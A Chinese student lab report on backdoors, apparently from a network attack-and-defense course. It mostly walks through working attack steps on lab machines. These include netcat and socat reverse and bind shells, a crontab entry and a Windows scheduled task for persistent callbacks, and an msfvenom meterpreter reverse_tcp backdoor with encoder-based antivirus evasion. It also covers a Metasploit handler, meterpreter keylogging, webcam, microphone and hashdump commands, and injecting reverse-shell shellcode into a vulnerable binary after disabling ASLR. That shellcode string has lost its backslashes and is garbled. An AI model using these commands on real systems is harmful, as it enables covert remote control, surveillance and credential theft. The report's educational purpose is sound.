2019-2020-2 网络对抗技术 20175318 Exp2 后门原理与实践

一、基础知识

二、实验内容

三、问题回答与实验体会

一、基础知识
1.后门概念

  • 未认证、隐通道、专门应用
  • 程序、投送、启动、隐藏

2.常用后门工具

netcat

Windows获得Linux Shell

在Windows下使用ipconfig查看本机IP

使用ncat.exe程序打开监听ncat.exe -l -p 5318

在kali中反弹连接Windows,ncat 192.168.1.5 5318 -e /bin/sh,使用-e选项执行shell程序

Windows成功获得kali的shell

Linux获得Windows Shell

在kali中使用ifconfig查看IP

打开监听nc -l -p 5318

在Windows中反弹连接kali,ncat.exe -e cmd.exe 192.168.182.128 5318

kali成功获得Windows的命令提示,可运行指令,如diripconfig

使用nc传输数据
Windows下监听5318端口,ncat.exe -l 5318

kali反弹连接到Windows的5318端口,nc 192.168.1.5 5318

连接建立成功,双方可以相互传输数据

Meterpreter

  • 后门就是一个程序。
  • 传统的理解是:有人编写一个后门程序,大家拿来用。后来有人编写一个平台能生成后门程序。这个平台把后门的
    • 基本功能(基本的连接、执行指令),
    • 扩展功能(如搜集用户信息、安装服务等功能),
    • 编码模式,
    • 运行平台,
    • 以及运行参数
    • 全都做成零件或可调整的参数。用的时候按需要组合,就可以生成一个可执行文件。
  • 典型的平台就包括有:
    • intersect
    • Metaspolit的msfvenom指令
    • Veil-evasion
    • 在下面的任务三中我们就用到了Metaspolit的msfvenom指令
  • 参数说明
    • -p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
    • -x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
    • -e 使用的编码器,用于对shellcode变形,为了免杀。
    • -i 编码器的迭代次数。如上即使用该编码器编码5次。
    • -b badchar是payload中需要去除的字符。
    • LHOST 是反弹回连的IP
    • LPORT 是回连的端口
    • -f 生成文件的类型
    • >输出到哪个文件

Meterpreter更多指令

meterpreter > help
Core Commands第一部分是核心指令
=============

    Command                   Description
    -------                   -----------
    ?                         Help menu
    background                Backgrounds the current session
    bgkill                    Kills a background meterpreter script
    bglist                    Lists running background scripts
    bgrun                     Executes a meterpreter script as a background thread
    channel                   Displays information or control active channels
    close                     Closes a channel
    disable_unicode_encoding  Disables encoding of unicode strings
    enable_unicode_encoding   Enables encoding of unicode strings
    exit                      Terminate the meterpreter session
    get_timeouts              Get the current session timeout values
    help                      Help menu
    info                      Displays information about a Post module
    irb                       Drop into irb scripting mode
    load                      Load one or more meterpreter extensions
    machine_id                Get the MSF ID of the machine attached to the session
    migrate                   Migrate the server to another process
    quit                      Terminate the meterpreter session
    read                      Reads data from a channel
    resource                  Run the commands stored in a file
    run                       Executes a meterpreter script or Post module
    set_timeouts              Set the current session timeout values
    sleep                     Force Meterpreter to go quiet, then re-establish session.
    transport                 Change the current transport mechanism
    use                       Deprecated alias for 'load'
    uuid                      Get the UUID for the current session
    write                     Writes data to a channel


Stdapi: File system Commands第二部分是文件系统相关的
============================

    Command       Description
    -------       -----------
    cat           Read the contents of a file to the screen
    cd            Change directory
    dir           List files (alias for ls)
    download      Download a file or directory
    edit          Edit a file
    getlwd        Print local working directory
    getwd         Print working directory
    lcd           Change local working directory
    lpwd          Print local working directory
    ls            List files
    mkdir         Make directory
    mv            Move source to destination
    pwd           Print working directory
    rm            Delete the specified file
    rmdir         Remove directory
    search        Search for files
    show_mount    List all mount points/logical drives
    upload        Upload a file or directory


Stdapi: Networking Commands当然少不了网络操作的了
===========================

    Command       Description
    -------       -----------
    arp           Display the host ARP cache
    getproxy      Display the current proxy configuration
    ifconfig      Display interfaces
    ipconfig      Display interfaces
    netstat       Display the network connections
    portfwd       Forward a local port to a remote service
    resolve       Resolve a set of host names on the target
    route         View and modify the routing table


Stdapi: System Commands系统指令
=======================

    Command       Description
    -------       -----------
    clearev       Clear the event log
    drop_token    Relinquishes any active impersonation token.
    execute       Execute a command
    getenv        Get one or more environment variable values
    getpid        Get the current process identifier
    getprivs      Attempt to enable all privileges available to the current process
    getsid        Get the SID of the user that the server is running as
    getuid        Get the user that the server is running as
    kill          Terminate a process
    ps            List running processes
    reboot        Reboots the remote computer
    reg           Modify and interact with the remote registry
    rev2self      Calls RevertToSelf() on the remote machine
    shell         Drop into a system command shell
    shutdown      Shuts down the remote computer
    steal_token   Attempts to steal an impersonation token from the target process
    suspend       Suspends or resumes a list of processes
    sysinfo       Gets information about the remote system, such as OS


Stdapi: User interface Commands用户接口,可以抓取击键记录
===============================

    Command        Description
    -------        -----------
    enumdesktops   List all accessible desktops and window stations
    getdesktop     Get the current meterpreter desktop
    idletime       Returns the number of seconds the remote user has been idle
    keyscan_dump   Dump the keystroke buffer
    keyscan_start  Start capturing keystrokes
    keyscan_stop   Stop capturing keystrokes
    screenshot     Grab a screenshot of the interactive desktop
    setdesktop     Change the meterpreters current desktop
    uictl          Control some of the user interface components


Stdapi: Webcam Commands 
=======================

    Command        Description
    -------        -----------
    record_mic     Record audio from the default microphone for X seconds
    webcam_chat    Start a video chat
    webcam_list    List webcams
    webcam_snap    Take a snapshot from the specified webcam
    webcam_stream  Play a video stream from the specified webcam


Priv: Elevate Commands提权
======================

    Command       Description
    -------       -----------
    getsystem     Attempt to elevate your privilege to that of local system.
    ***我的win7没成功***

Priv: Password database Commands导出密码文件SAM
================================

    Command       Description
    -------       -----------
    hashdump      Dumps the contents of the SAM database

Priv: Timestomp Commands修改文件操作时间,清理现场用
========================

    Command       Description
    -------       -----------
    timestomp     Manipulate file MACE attributes

二、实验内容
任务一:使用netcat获取主机操作Shell,cron启动
Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。

  • 在Windows系统下,监听5318端口
  • crontab指令增加一条定时任务,"-e"表示编辑。
  • 在Kali环境下,用crontab -e指令编辑一条定时任务,(crontab指令增加一条定时任务,"-e"表示编辑)选择编辑器时选择3(第一次会提示选择编辑器,以后就不会提示了);
  • 在最后一行添加55 * * * * /bin/netcat 192.168.1.5 5318 -e /bin/sh,意思是在每个小时的第55分钟反向连接Windows主机的5318端口.


任务二:使用socat获取主机操作Shell, 任务计划启动
socat:

  • socat是ncat的增强版,它使用的格式是socat [options] <address> <address>,其中两个address是必选项,而options是可选项。
  • socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。

打开“计算机管理”, 在“任务计划程序”中“创建任务”

填写任务名->新建一个触发器

在操作->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:5318 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口5318,同时把cmd.exestderr重定向到stdout上:

此时,该计划任务为准备就绪状态,我们右击并点击运行。

在Kali环境下输入指令socat - tcp:192.168.1.5:5318,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5318端口,此时可以发现已经成功获得了一个cmd shell

任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

生成20175318_backdoor.exe文件

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.182.128 LPORT=5318 -f exe > 20175318_backdoor.exe

参数说明:

-p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
-x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
-e 使用的编码器,用于对shellcode变形,为了免杀。
-i 编码器的迭代次数。如上即使用该编码器编码5次。
-b badchar是payload中需要去除的字符。
LHOST 是反弹回连的IP
LPORT 是回连的端口
-f 生成文件的类型
> 输出到哪个文件

在Windows下执行ncat.exe -l 5318 > 20175318_backdoor.exe,这样被控主机就进入了接收文件模式,也可以使用ncat.exe -lv 5318 > 20175318_backdoor.exe指令,通过-lv选项看到当前的连接状态
在Linux中执行nc 192.168.1.5 5318 < 20175318_backdoor.exe,注意这里的IP为被控主机IP,即WindowsIP

传送接收文件成功,如下图所示

MSF打开监听进程

输入msfconsole后进行如下操作:

  • 输入use exploit/multi/handler使用监听模块,设置payload

  • set payload windows/meterpreter/reverse_tcp,使用和生成后门程序时相同的payload

  • set LHOST 192.168.182.128,这里用的是LinuxIP,和生成后门程序时指定的IP相同

  • set LPORT 5318,同样要使用相同的端口

  • 设置完成后,执行监听

  • 运行Windows下的后门程序

  • 此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell

任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  • 使用record_mic指令可以截获一段音频,可以用-d选项设置录制时间

  • 使用webcam_snap指令可以使用摄像头进行拍照
  • 使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录
  • 使用screenshot指令可以进行截屏,效果如下:
  • 先使用getuid指令查看当前用户,使用getsystem指令进行提权

任务五:可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

  • 官网上下载Linux/x86 - Reverse(127.0.0.1:4444/TCP) Shell (/bin/sh) Shellcode (96Bytes)这个文件

  • 参考实验一找到shellcode的起始地址(注意要关闭地址随机化) 并加在这段shellcode前面,并用其生成input文件。

echo "0" > /proc/sys/kernel/randomize_va_space #关闭地址随机化

perl -e 'print "A" x 32;print"x90xd3xffxffx31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80"' > input

  • 然后在另一个终端中打开msfconsole,并打开监听
use exploit/multi/handler
set payload linux/x86/shell_reverse_tcp
set LHOST 127.0.0.1 
set LPORT 4444          //这两个都是根据你的shellcode来的
show options
exploit
  • 在原终端输入(cat input;cat) | ./pwn1运行pwn1并回车,另一边就可以得到shell了

三、问题回答与实验体会

问题回答

  • 例举你能想到的一个后门进入到你系统中的可能方式?
    答:下载的软件有捆绑,运行软件安装程序后,后门程序被释放。

  • 例举你知道的后门如何启动起来(win及linux)的方式?
    答:Windows:设置为开机自启动、修改注册表项、用户执行带有后门的可执行文件
    Linux:通过crontab功能将后门设为定时启动;也可以通过对正常软件注入shellcode

  • Meterpreter有哪些给你映像深刻的功能?
    答:在植入后门后,可以控制被控主机的shell,执行指令;获取被控主机的录音、录像、截图、键盘输入记录等

  • 如何发现自己有系统有没有被安装后门?
    答:安装杀毒安全软件,自行查看任务管理器。

实验总结与体会
这次实验让我知道了后门程序的危险性,通过自己动手制作和使用后门程序,我了解了很多关于后门的知识,在自己浑然不觉的情况下攻击者可以获取各种信息和隐私。所以这提醒我们要时刻注意电脑以及自己手机的安全,使用杀毒软件来进行杀毒,防止后门程序在电脑里残留而被不法分子所利用。以后实验的时候要时刻记得认真,不然的话有时候一步忘记做了 或者一个数字输错了,都有可能带来错误。

原文地址:https://www.cnblogs.com/L1079991001/p/12494030.html